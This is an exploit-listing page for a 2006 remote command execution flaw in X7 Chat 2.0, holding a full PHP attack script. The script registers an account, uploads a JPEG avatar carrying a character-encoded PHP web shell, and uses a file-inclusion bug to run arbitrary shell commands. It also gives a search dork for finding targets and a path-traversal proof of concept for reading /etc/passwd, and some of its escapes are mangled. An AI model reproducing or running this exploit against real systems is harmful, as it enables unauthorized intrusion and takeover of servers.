X7 Chat <=2.0 remote commands execution
CVE
Category
Price
Severity
CVE-XXXX-XXXX
CWE-XX
$500
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2006-05-12
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization. Confidentiality High CR Loss of [Confidentiality | Integrity | Availability] is likely to have a catastrophic adverse effect on the organization or individuals associated with the organization (e.g., employees, customers). Integrity High IR Loss of [Confidentiality | Integrity | Availability] is likely to have a catastrophic adverse effect on the organization or individuals associated with the organization (e.g., employees, customers). Availibility Requirements High AR Loss of [Confidentiality | Integrity | Availability] is likely to have a catastrophic adverse effect on the organization or individuals associated with the organization (e.g., employees, customers). Modified Attack Complexity High MAC High Modified Privileges Required High MPR High
Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2006050026 Below is a copy:#!/usr/bin/php -q -d short_open_tag=on
<?
echo "X7 Chat <=2.0 "help_file" arbitrary local inclusionrn";
echo "by rgod rgod (at) autistici (dot) org [email concealed]rn";
echo "site: http://retrogod.altervista.orgrn";
echo "-> works regardless of magic_quotes_gpc settingsrn";
echo " if avatar uploads are enabled (default)rn";
echo "dork: intitle:"X7 Chat Help Center" | "Powered By X7 Chat"rnrn";
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONSrn";
echo "host: target server (ip/hostname)rn";
echo "path: path to X7rn";
echo "cmd: a shell commandrn";
echo "Options:rn";
echo " -p[port]: specify a port other than 80rn";
echo " -P[ip:port]: specify a proxyrn";
echo "Examples:rn";
echo "php ".$argv[0]." localhost /X7/ cat ./../config.phprn";
echo "php ".$argv[0]." localhost /X7/ ls -la -p81rn";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80rn";
die;
}
/*
software site: http://www.x7chat.com/
description: "X7 Chat is free, open source, software written in PHP"
vulnerable code in help/index.php at lines 32-37:
...
if(!isset($_GET['help_file']) || !@is_file("./{$_GET['help_file']}")){
$_GET['help_file'] = "main";
}
// Load the help definitions
include("./{$_GET['help_file']}");
...
so, you can view/include all files on target system, poc:
http://[target]/[path]/help/index.php?help_file=../../../../../../etc/pa
sswd
this tool upload an avatar with php code as EXIF metadata content, then:
http://[target]/[path]/help/index.php?help_file=../uploads/avatar_[usern
ame].jpeg&cmd=ls%20-la
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";}
}
return $exa."rn".$result;
}
$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "rn".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
srand(make_seed());
$v = rand(1,99);
echo "step 1 -> register...rn";
$data="username=suntzu".$v;
$data.="&pass1=suntzu";
$data.="&pass2=suntzu";
$data.="&email=suntzu".$v."@hotmail.com";
$packet ="POST ".$p."index.php?act=register&step=1 HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
echo "step 2 -> login...rn";
$data="dologin=dologin";
$data.="&username=suntzu".$v;
$data.="&password=suntzu";
$packet="POST ".$p."index.php HTTP/1.0rn";
$packet.="Content-Type: application/x-www-form-urlencodedrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);$cookie=$temp2[0];
$temp2=explode(" ",$temp[2]);$cookie.=" ".$temp2[0];
if ($cookie=="") {die("Failed to login...rn");}
echo "Cookie -> ".$cookie."rn";
echo "step 3 -> upload an avatar...rn";
$shell=
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x00).chr(0xcf).chr(0x3c).ch
r(0x3f).
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x69).chr(0x66).ch
r(0x20).
chr(0x28).chr(0x67).chr(0x65).chr(0x74).chr(0x5f).chr(0x6d).chr(0x61).ch
r(0x67).
chr(0x69).chr(0x63).chr(0x5f).chr(0x71).chr(0x75).chr(0x6f).chr(0x74).ch
r(0x65).
chr(0x73).chr(0x5f).chr(0x67).chr(0x70).chr(0x63).chr(0x28).chr(0x29).ch
r(0x29).
chr(0x7b).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).ch
r(0x49).
chr(0x45).chr(0x5b).chr(0x27).chr(0x63).chr(0x6d).chr(0x64).chr(0x27).ch
r(0x5d).
chr(0x3d).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).chr(0x73).ch
r(0x6c).
chr(0x61).chr(0x73).chr(0x68).chr(0x65).chr(0x73).chr(0x28).chr(0x24).ch
r(0x5f).
chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).ch
r(0x27).
chr(0x63).chr(0x6d).chr(0x64).chr(0x27).chr(0x5d).chr(0x29).chr(0x3b).ch
r(0x7d).
chr(0x0d).chr(0x0a).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).chr(0x72).ch
r(0x5f).
chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).chr(0x69).ch
r(0x6e).
chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).ch
r(0x69).
chr(0x6e).chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74).chr(0x28).ch
r(0x22).
chr(0x6d).chr(0x61).chr(0x78).chr(0x5f).chr(0x65).chr(0x78).chr(0x65).ch
r(0x63).
chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).chr(0x5f).chr(0x74).ch
r(0x69).
chr(0x6d).chr(0x65).chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).ch
r(0x0d).
chr(0x0a).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x22).ch
r(0x35).
chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x22).chr(0x3b).chr(0x0d).ch
r(0x0a).
chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).ch
r(0x75).
chr(0x28).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).ch
r(0x49).
chr(0x45).chr(0x5b).chr(0x22).chr(0x63).chr(0x6d).chr(0x64).chr(0x22).ch
r(0x5d).
chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x65).chr(0x63).chr(0x68).ch
r(0x6f).
chr(0x20).chr(0x22).chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).ch
r(0x22).
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x64).chr(0x69).chr(0x65).chr(0x3b).ch
r(0x0d).
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).ch
r(0x4a).
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).ch
r(0x00).
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).ch
r(0x00).
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0x01).
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).ch
r(0xff).
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).ch
r(0x01).
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).ch
r(0x03).
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).ch
r(0x01).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x09).
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).ch
r(0xc4).
chr(0x00).chr(0x14).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x06).chr(0xff).chr(0xc4).chr(0x00).ch
r(0x14).
chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).ch
r(0x00).
chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).ch
r(0x01).
chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).ch
r(0x00).
chr(0x3f).chr(0xc1).chr(0xc7).chr(0xdf).chr(0xff).chr(0xd9).chr(0x00).ch
r(0x00);
$data='-----------------------------7d63ba6e09fc
Content-Disposition: form-data; name="MAX_FILE_SIZE"
5242880
-----------------------------7d63ba6e09fc
Content-Disposition: form-data; name="avatar"; filename="whatever.jpg"
Content-Type: image/jpeg
'.$shell.'
-----------------------------7d63ba6e09fc--
';
echo "step 4 -> launch commands...rn";
$packet="POST ".$p."index.php?act=usercp&cp_page=upload&uploaded=1 HTTP/1.0rn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d63ba6e09fcrn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Cookie: ".$cookie."rn";
$packet.="Connection: Closernrn";
$packet.=$data;
#debug
#echo quick_dump($packet);
sendpacketii($packet);
$path_to_shell=urlencode("../uploads/avatar_suntzu".$v.".jpeg");
$packet ="GET ".$p."help/index.php?help_file=".$path_to_shell." HTTP/1.0rn";
$packet.="User-Agent: Googlebot/2.1rn";
$packet.="Host: ".$host."rn";
$packet.="Cookie: cmd=".$cmd."rn";
$packet.="Connection: Closernrn";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"56789"))
{
echo "Exploit succeeded...rnrn";
$temp=explode("56789",$html);
echo $temp[1];
die;
}
//if you are here...
echo "Exploit failed...";
?>
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